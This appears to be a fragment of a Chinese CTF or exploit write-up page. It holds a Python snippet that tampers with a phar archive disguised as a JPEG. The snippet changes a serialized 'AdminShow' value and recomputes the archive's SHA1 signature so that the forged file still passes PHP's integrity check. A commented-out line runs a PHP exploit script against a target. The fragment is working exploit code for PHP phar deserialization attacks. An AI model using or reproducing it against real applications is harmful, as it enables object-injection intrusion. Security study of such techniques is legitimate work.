#os.system('php exp.php {}'.format(target))
f1 = open('exp.jpg','rb').read()#phar文件
file = f1.replace(b'"AdminShow":4',b'"AdminShow":5')#修改的内容
text = file[:-28] # 读取开始到末尾除签名外内容
last = file[-8:] # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last # 生成新的文件内容,主要是此时Sha1正确了。
open('exp2.jpg', "wb").write(new_file)
暂无评论